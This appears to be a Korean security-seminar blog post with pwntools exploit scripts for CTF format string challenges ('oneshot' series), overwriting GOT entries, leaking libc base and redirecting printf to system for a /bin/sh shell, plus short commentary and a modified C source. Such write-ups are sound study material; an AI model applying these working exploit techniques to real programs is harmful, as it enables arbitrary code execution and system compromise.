CyKor week8

soon_haari·2022년 7월 2일
0

cykor_seminar

목록 보기
5/6

oneshot

exploit.py

from pwn import *

e = ELF("./oneshot")
p = process("./oneshot")

gift = 0x4011b6

exit_got = 0x404038

gift_low = gift & 0xffff
gift_high = (gift >> 16) & 0xffff

payload = f'%{gift_high}c'.encode()
payload += b"%14$hn"
payload += f'%{gift_low - gift_high}c'.encode()
payload += b"%15$hn"

payload = payload.ljust(0x40, b"\x00")

payload += p64(exit_got+2)
payload += p64(exit_got)

p.sendline(payload)

p.interactive()

8바이트를 전송할때 시간이 굉장히 오래 걸리기 때문에 4바이트짜리 두개로 나누어서 전송하면 시간을 단축시킬 수 있다.




oneshot1

exploit.py

from pwn import *

e = ELF("./oneshot1")
p = process("./oneshot1")

main = 0x004011cd
system = 0x00401090

exit_got = 0x404038
printf_got = 0x404028

main_low = main & 0xffff
main_high = (main >> 16) & 0xffff
system_low = system & 0xffff
system_high = (system >> 16) & 0xffff

payload = f'%{main_high}c'.encode()
payload += b"%14$hn"
payload += f'%{main_low - main_high}c'.encode()
payload += b"%15$hn"

payload += f'%{0x10000 - main_low}c'.encode()
payload += b"%16$hn"
payload += f'%{system_high}c'.encode()
payload += b"%17$hn"
payload += f'%{system_low - system_high}c'.encode()
payload += b"%18$hn"

payload = payload.ljust(0x40, b"\x00")


payload += p64(exit_got+2)
payload += p64(exit_got)

payload += p64(printf_got+4)
payload += p64(printf_got+2)
payload += p64(printf_got)

p.sendline(payload)

p.sendline(b"/bin/sh\x00")

p.interactive()

exit에 main을 덮고, printf에 system을 덮어서 풀 수 있는 간단한 문제였다.

oneshot2

exploit.py

from pwn import *

e = ELF("./oneshot2")
p = process("./oneshot2")
libc = e.libc

main = 0x401196

exit_got = 0x404030
printf_got = 0x404020

main_low = main & 0xffff
main_high = (main >> 16) & 0xffff

payload = f'%{main_high}c'.encode()
payload += b"%14$hn"
payload += f'%{main_low - main_high}c'.encode()
payload += b"%15$hn"

payload = payload.ljust(0x40, b"\x00")

payload += p64(exit_got+2)
payload += p64(exit_got)

p.send(payload)

#main_ret = 0x7ffff7de9083
#__libc_start_main = 7ffff7de8f90, 0xf3=243 difference


p.sendline("main_ret:%77$p")


p.recvuntil(b"main_ret:")
main_ret = int(p.recv(14), 16) 

libc_base = main_ret - libc.symbols['__libc_start_main'] - 243
print(hex(libc_base))

system = libc_base + libc.symbols['system']
system_low = system & 0xffff
system_mid = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

print(hex(system))
print(hex(system_low))
print(hex(system_mid))
print(hex(system_high))

payload = f'%{system_high}c'.encode()
payload += b"%14$hn"

if system_mid - system_high > 0:
    payload += f'%{system_mid - system_high}c'.encode()
else:
    payload += f'%{system_mid - system_high + 0x10000}c'.encode()

payload += b"%15$hn"

if system_low - system_mid > 0:
    payload += f'%{system_low - system_mid}c'.encode()
else:
    payload += f'%{system_low - system_mid + 0x10000}c'.encode()

payload += b"%16$hn"

payload = payload.ljust(0x40, b"\x00")

payload += p64(printf_got+4)
payload += p64(printf_got+2)
payload += p64(printf_got)

p.send(payload)

p.send("/bin/sh\x00")

p.interactive()

oneshot1과 비슷한 느낌의 문제이지만 libc_base를 직접 구해주어야 된다는 차이점이 있다. 검색과 고민을 거듭한 결과 main의 ret과 __libc_start_main의 주소 차이를 이용해서 구하는 방법이 있다는 것을 알 수 있었다.

oneshot3

이 문제에 대한 풀이는 찾지 못했다.

지금까지 생각해낸 아이디어는 canary가 켜져 있기 때문에 __stack_chk_fail에 exit에 main을 집어넣고 canary를 변조시키는 방법이었다.

canary는 스택 뒤에 위치해 있기 때문에 스택의 주소가 필요한데, read 함수의 rsi에서 buf가 사용되었기 때문에 그 다음 printf에서 바로 rsi를 사용해서 buf, 즉 스택의 주소를 유출할 수 있다는 아이디어까지는 얻을 수 있었다. 하지만 printf 하나만으로 어떻게 더 진행되어야 할 지에 대한 답은 얻을 수 없었다.

C 파일을 다음과 같이 변형하였을 때에 대한 exploit 코드는 구할 수 있었다. 기존 C 파일에서 read, printf를 두 개로 늘려준 것이다.

oneshot3_2.c

// gcc oneshot3_2.c -o oneshot3_2 -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char buf[0x100];
    
    printf("Look, if you had one shot, one opportunity\n");
    printf("To seize everything you ever wanted, in one moment\n");
    printf("Would you capture it or just let it slip? ♩♪\n\n");
    
    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);
    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);
    
    return 0;
}

exploit.py

from pwn import *

e = ELF("./oneshot3_2")
p = process("./oneshot3_2")
libc = e.libc

main = 0x401196

chk_got = 0x404020
printf_got = 0x404028

main_low = main & 0xffff
main_high = (main >> 16) & 0xffff

p.recv(144)
p.sendline(b"%p")

buf = int(p.recv(14), 16)
print(hex(buf))

payload = f'%{main_high}c'.encode()
payload += b"%14$hn"
payload += f'%{main_low - main_high}c'.encode()
payload += b"%15$hn"
payload += f'%{10}c'.encode()
payload += b"%16$hn"
payload += f'%{10}c'.encode()
payload += b"%17$hn"

payload = payload.ljust(0x40, b"\x00")

payload += p64(chk_got+2)
payload += p64(chk_got)
payload += p64(buf+0x108+2)
payload += p64(buf+0x108)

p.send(payload)

#main_ret = 0x7ffff7de9083
#__libc_start_main = 7ffff7de8f90, 0xf3=243 difference

p.sendline("%pmain_ret:%77$p")

p.recvuntil("slip?")
p.recv(9)

buf = int(p.recv(14), 16)
p.recvuntil(b"main_ret:")
main_ret = int(p.recv(14), 16) 

libc_base = main_ret - libc.symbols['__libc_start_main'] - 243
print("libc_base: "+hex(libc_base))



system = libc_base + libc.symbols['system']
system_low = system & 0xffff
system_mid = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

print(hex(system))
print(hex(system_low))
print(hex(system_mid))
print(hex(system_high))

payload = f'%{system_high}c'.encode()
payload += b"%14$hn"

if system_mid - system_high > 0:
    payload += f'%{system_mid - system_high}c'.encode()
else:
    payload += f'%{system_mid - system_high + 0x10000}c'.encode()

payload += b"%15$hn"

if system_low - system_mid > 0:
    payload += f'%{system_low - system_mid}c'.encode()
else:
    payload += f'%{system_low - system_mid + 0x10000}c'.encode()

payload += b"%16$hn"

payload += f'%{10}c'.encode()
payload += b"%17$hn"
payload += f'%{10}c'.encode()
payload += b"%18$hn"

payload = payload.ljust(0x40, b"\x00")

payload += p64(printf_got+4)
payload += p64(printf_got+2)
payload += p64(printf_got)
payload += p64(buf+0x108+2)
payload += p64(buf+0x108)

p.send(payload)

p.send("/bin/sh\x00")

p.interactive()
profile
I'm such a good surfer

0개의 댓글